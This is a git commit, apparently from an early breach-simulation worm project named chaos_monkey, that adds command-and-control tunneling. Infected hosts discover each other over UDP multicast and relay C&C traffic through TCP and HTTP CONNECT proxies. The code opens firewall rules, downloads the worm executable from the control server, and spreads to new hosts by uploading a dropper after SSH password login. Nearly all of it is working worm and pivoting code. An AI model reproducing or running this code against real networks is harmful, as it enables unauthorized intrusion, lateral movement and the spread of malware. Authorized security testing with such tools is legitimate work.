add support for c&c tunneling

"GC-3595 #resolve"
This commit is contained in:
Barak Hoffer 2015-10-08 13:39:52 +03:00
parent ef6474f7b6
commit edc0f5fdf3
11 changed files with 404 additions and 19 deletions

View File

@ -8,6 +8,9 @@ import monkeyfs
from network.info import local_ips
from socket import gethostname, gethostbyname_ex
from config import WormConfiguration, Configuration, GUID
from transport.tcp import TcpProxy
from transport.http import HTTPConnectProxy
import tunnel
__author__ = 'hoffer'
@ -17,6 +20,7 @@ LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
class ControlClient(object):
proxies = {}
@staticmethod
def wakeup(parent=None):
@ -33,27 +37,49 @@ class ControlClient(object):
'ip_addresses' : local_ips(),
'description' : " ".join(platform.uname()),
'config' : WormConfiguration.as_dict(),
'parent' : parent
'parent' : parent,
}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
reply = requests.post("https://%s/api/monkey" % (server,),
data=json.dumps(monkey),
headers={'content-type' : 'application/json'},
verify=False)
verify=False,
proxies=ControlClient.proxies)
break
except Exception, exc:
WormConfiguration.current_server = ''
LOG.warn("Error connecting to control server %s: %s",
server, exc)
if not WormConfiguration.current_server:
if not ControlClient.proxies:
LOG.info("Starting tunnel lookup...")
proxy_find = tunnel.find_tunnel()
if proxy_find:
LOG.info("Found tunnel at %s:%s" % proxy_find)
ControlClient.proxies['https'] = 'https://%s:%s' % proxy_find
ControlClient.wakeup(parent)
else:
LOG.info("No tunnel found")
@staticmethod
def keepalive():
if not WormConfiguration.current_server:
return
try:
monkey = {}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps({}),
data=json.dumps(monkey),
headers={'content-type' : 'application/json'},
verify=False)
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@ -61,12 +87,15 @@ class ControlClient(object):
@staticmethod
def send_telemetry(tele_type='general',data=''):
if not WormConfiguration.current_server:
return
try:
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry),
headers={'content-type' : 'application/json'},
verify=False)
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
@ -74,8 +103,12 @@ class ControlClient(object):
@staticmethod
def load_control_config():
if not WormConfiguration.current_server:
return
try:
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False)
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
@ -90,11 +123,13 @@ class ControlClient(object):
@staticmethod
def download_monkey_exe(host):
if not WormConfiguration.current_server:
return None
try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host.as_dict()),
headers={'content-type' : 'application/json'},
verify=False)
verify=False, proxies=ControlClient.proxies)
if 200 == reply.status_code:
result_json = reply.json()
@ -107,7 +142,9 @@ class ControlClient(object):
return dest_file
else:
download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
verify=False)
verify=False,
proxies=ControlClient.proxies)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
@ -122,3 +159,25 @@ class ControlClient(object):
return None
@staticmethod
def create_control_tunnel():
if not WormConfiguration.current_server:
return None
my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
if my_proxy:
proxy_class = TcpProxy
try:
target_addr, target_port = my_proxy.split(':', 1)
target_port = int(target_port)
except:
return None
else:
proxy_class = HTTPConnectProxy
target_addr, target_port = None, None
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)

View File

@ -243,6 +243,10 @@ class RdpExploiter(HostExploiter):
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
if not http_path:
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
return False
if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % {'monkey_path': self._config.dropper_target_path, 'http_path' : http_path}
else:

View File

@ -6,17 +6,25 @@ from exploit import HostExploiter
from model import MONKEY_ARG
from exploit.tools import get_target_monkey
from network.tools import check_port_tcp
import time
__author__ = 'hoffer'
LOG = logging.getLogger(__name__)
SSH_PORT = 22
TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter):
_target_os_type = ['linux', None]
def __init__(self):
self._config = __import__('config').WormConfiguration
self._update_timestamp = 0
def log_transfer(self, transferred, total):
if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time()
def exploit_host(self, host, src_path=None):
ssh = paramiko.SSHClient()
@ -45,7 +53,8 @@ class SSHExploiter(HostExploiter):
ssh.connect(host.ip_addr,
username=self._config.ssh_user,
password=password,
port=port)
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
host, self._config.ssh_user, password)
@ -95,8 +104,9 @@ class SSHExploiter(HostExploiter):
try:
ftp = ssh.open_sftp()
self._update_timestamp = time.time()
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path))
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0777)
ftp.close()

View File

@ -97,7 +97,7 @@ def main():
if WormConfiguration.serialize_config:
with open(config_file, 'w') as config_fo:
json_dict = WormConfiguration.as_dict()
json.dump(json_dict, config_fo)
json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
return True
finally:

View File

@ -4,9 +4,11 @@ import time
import logging
import platform
from system_singleton import SystemSingleton
from network.firewall import app as firewall
from control import ControlClient
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
from network.network_scanner import NetworkScanner
import tunnel
import getopt
__author__ = 'itamar'
@ -46,16 +48,20 @@ class ChaosMonkey(object):
self._keep_running = True
self._network = NetworkScanner()
self._dropper_path = sys.argv[0]
self._os_type = platform.system().lower()
self._machine = platform.machine().lower()
ControlClient.wakeup(self._parent)
ControlClient.load_control_config()
def start(self):
LOG.info("WinWorm is running...")
if firewall.is_enabled():
firewall.add_firewall_rule()
ControlClient.wakeup(self._parent)
monkey_tunnel = ControlClient.create_control_tunnel()
if monkey_tunnel:
monkey_tunnel.start()
for _ in xrange(WormConfiguration.max_iterations):
ControlClient.keepalive()
ControlClient.load_control_config()
@ -136,7 +142,18 @@ class ChaosMonkey(object):
if self._keep_running:
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
if monkey_tunnel:
monkey_tunnel.stop()
monkey_tunnel.join()
def cleanup(self):
self._keep_running = False
self._singleton.unlock()
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
if tunnel_address:
LOG.info("Quitting tunnel %s", tunnel_address)
tunnel.quit_tunnel(tunnel_address)
firewall.close()

View File

@ -23,4 +23,5 @@ from ping_scanner import PingScanner
from tcp_scanner import TcpScanner
from smbfinger import SMBFinger
from sshfinger import SSHFinger
from info import local_ips
from info import local_ips
from info import get_free_tcp_port

View File

@ -2,6 +2,8 @@ import sys
import socket
import struct
import array
import psutil
from random import randint
__author__ = 'hoffer'
@ -39,4 +41,18 @@ else:
result.append(addr)
#name of interface is (namestr[i:i+16].split('\0', 1)[0]
finally:
return result
return result
def get_free_tcp_port(min_range=1000, max_range=65535):
start_range = min(1, min_range)
max_range = min(65535, max_range)
in_use = [conn.laddr[1] for conn in psutil.net_connections()]
for i in range(min_range, max_range):
port = randint(start_range, max_range)
if not port in in_use:
return port
return None

View File

@ -0,0 +1,13 @@
from threading import Thread
class TransportProxyBase(Thread):
def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''):
self.local_host = local_host
self.local_port = local_port
self.dest_host = dest_host
self.dest_port = dest_port
self._stopped = False
super(TransportProxyBase, self).__init__()
def stop(self):
self._stopped = True

View File

@ -3,6 +3,10 @@ import shutil
import struct
import monkeyfs
from logging import getLogger
from base import TransportProxyBase
from urlparse import urlsplit
import select
import socket
__author__ = 'hoffer'
@ -97,6 +101,51 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
format % args))
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
timeout = 2 # timeout with clients, set to None not to make persistent connection
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
protocol_version = "HTTP/1.1"
def version_string(self):
return ""
def do_CONNECT(self):
# just provide a tunnel, transfer the data with no modification
req = self
reqbody = None
req.path = "https://%s/" % req.path.replace(':443', '')
u = urlsplit(req.path)
address = (u.hostname, u.port or 443)
try:
conn = socket.create_connection(address)
except socket.error:
self.send_error(504) # 504 Gateway Timeout
return
self.send_response(200, 'Connection Established')
self.send_header('Connection', 'close')
self.end_headers()
conns = [self.connection, conn]
keep_connection = True
while keep_connection:
keep_connection = False
rlist, wlist, xlist = select.select(conns, [], conns, self.timeout)
if xlist:
break
for r in rlist:
other = conns[1] if r is conns[0] else conns[0]
data = r.recv(8192)
if data:
other.sendall(data)
keep_connection = True
conn.close()
def log_message(self, format, *args):
LOG.debug("HTTPConnectProxyHandler: %s - - [%s] %s" % (self.address_string(),
self.log_date_time_string(),
format % args))
class InternalHTTPServer(BaseHTTPServer.HTTPServer):
def handle_error(self, request, client_address):
#ToDo: debug log error
@ -136,4 +185,11 @@ class HTTPServer(threading.Thread):
def stop(self, timeout=60):
self._stopped = True
self.join(timeout)
class HTTPConnectProxy(TransportProxyBase):
def run(self):
httpd = InternalHTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
httpd.timeout = 10
while not self._stopped:
httpd.handle_request()

View File

@ -0,0 +1,76 @@
import sys
import socket
import select
import time
from threading import Thread
from base import TransportProxyBase
from logging import getLogger
READ_BUFFER_SIZE = 8192
DEFAULT_TIMEOUT = 10
LOG = getLogger(__name__)
class SocketsPipe(Thread):
def __init__(self, source, dest, timeout=DEFAULT_TIMEOUT):
Thread.__init__( self )
self.source = source
self.dest = dest
self.timeout = timeout
self._keep_connection = True
super(SocketsPipe, self).__init__()
def run(self):
sockets = [self.source, self.dest]
while self._keep_connection:
self._keep_connection = False
rlist, wlist, xlist = select.select(sockets, [], sockets, self.timeout)
if xlist:
break
for r in rlist:
other = self.dest if r is self.source else self.source
try:
data = r.recv(READ_BUFFER_SIZE)
except:
break
if data:
try:
other.sendall(data)
except:
break
self._keep_connection = True
self.source.close()
self.dest.close()
class TcpProxy(TransportProxyBase):
def run(self):
pipes = []
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
l_socket.bind((self.local_host, self.local_port))
l_socket.settimeout(DEFAULT_TIMEOUT)
l_socket.listen(5)
while not self._stopped:
try:
source, address = l_socket.accept()
except socket.timeout:
continue
try:
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dest.connect((self.dest_host, self.dest_port))
except socket.error, ex:
source.close()
dest.close()
continue
pipe = SocketsPipe(source, dest)
pipes.append(pipe)
LOG.debug("piping sockets %s:%s->%s:%s", address[0], address[1], self.dest_host, self.dest_port)
pipe.start()
l_socket.close()
for pipe in pipes:
pipe.join()

133
chaos_monkey/tunnel.py Normal file
View File

@ -0,0 +1,133 @@
import socket
import struct
import logging
from threading import Thread
from network.info import local_ips, get_free_tcp_port
from network.firewall import app as firewall
from difflib import get_close_matches
from network.tools import check_port_tcp
import time
__author__ = 'hoffer'
LOG = logging.getLogger(__name__)
MCAST_GROUP = '224.1.1.1'
MCAST_PORT = 5007
BUFFER_READ = 1024
DEFAULT_TIMEOUT = 10
QUIT_TIMEOUT = 1200 #20 minutes
def _set_multicast_socket(timeout=DEFAULT_TIMEOUT):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.settimeout(timeout)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', MCAST_PORT))
sock.setsockopt(socket.IPPROTO_IP,
socket.IP_ADD_MEMBERSHIP,
struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY))
return sock
def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT):
sock = _set_multicast_socket(timeout)
l_ips = local_ips()
for attempt in range(0, attempts):
try:
sock.sendto("?", (MCAST_GROUP, MCAST_PORT))
answer, address = sock.recvfrom(BUFFER_READ)
while answer in ['?', '+', '-']:
answer, address = sock.recvfrom(BUFFER_READ)
if answer.find(':') != -1:
address, port = answer.split(':', 1)
if address in l_ips:
continue
if not check_port_tcp(address, int(port)):
continue
sock.sendto("+", (address, MCAST_PORT))
sock.close()
return (address, port)
except:
continue
return None
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
try:
sock = _set_multicast_socket(timeout)
sock.sendto("-", (address, MCAST_PORT))
sock.close()
LOG.debug("Success quitting tunnel")
except Exception, exc:
LOG.debug("Exception quitting tunnel: %s", exc)
return
class MonkeyTunnel(Thread):
def __init__(self, proxy_class, target_addr=None, target_port=None, timeout=DEFAULT_TIMEOUT):
self._target_addr = target_addr
self._target_port = target_port
self._proxy_class = proxy_class
self._broad_sock = None
self._timeout = timeout
self._stopped = False
self._clients = []
super(MonkeyTunnel, self).__init__()
def run(self):
self._broad_sock = _set_multicast_socket(self._timeout)
l_ips = local_ips()
local_port = get_free_tcp_port()
if not local_port:
return
if not firewall.listen_allowed(localport=local_port):
LOG.info("Machine firewalled, listen not allowed, not running tunnel.")
return
proxy = self._proxy_class(local_port=local_port, dest_host=self._target_addr, dest_port=self._target_port)
LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, local_port)
proxy.start()
while not self._stopped:
try:
search, address = self._broad_sock.recvfrom(BUFFER_READ)
if '?' == search:
ip_match = get_close_matches(address[0], l_ips) or l_ips
if ip_match:
answer = '%s:%d' % (ip_match[0], local_port)
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
self._broad_sock.sendto(answer, (MCAST_GROUP, MCAST_PORT))
elif '+' == search:
if not address[0] in self._clients:
self._clients.append(address[0])
elif '-' == search:
self._clients = [client for client in self._clients if client != address[0]]
except socket.timeout:
continue
LOG.info("Stopping tunnel, waiting for clients")
stop_time = time.time()
while self._clients and (time.time() - stop_time < QUIT_TIMEOUT):
try:
search, address = self._broad_sock.recvfrom(BUFFER_READ)
if '-' == search:
self._clients = [client for client in self._clients if client != address[0]]
except socket.timeout:
continue
LOG.info("Closing tunnel")
self._broad_sock.close()
proxy.stop()
proxy.join()
def stop(self):
self._stopped = True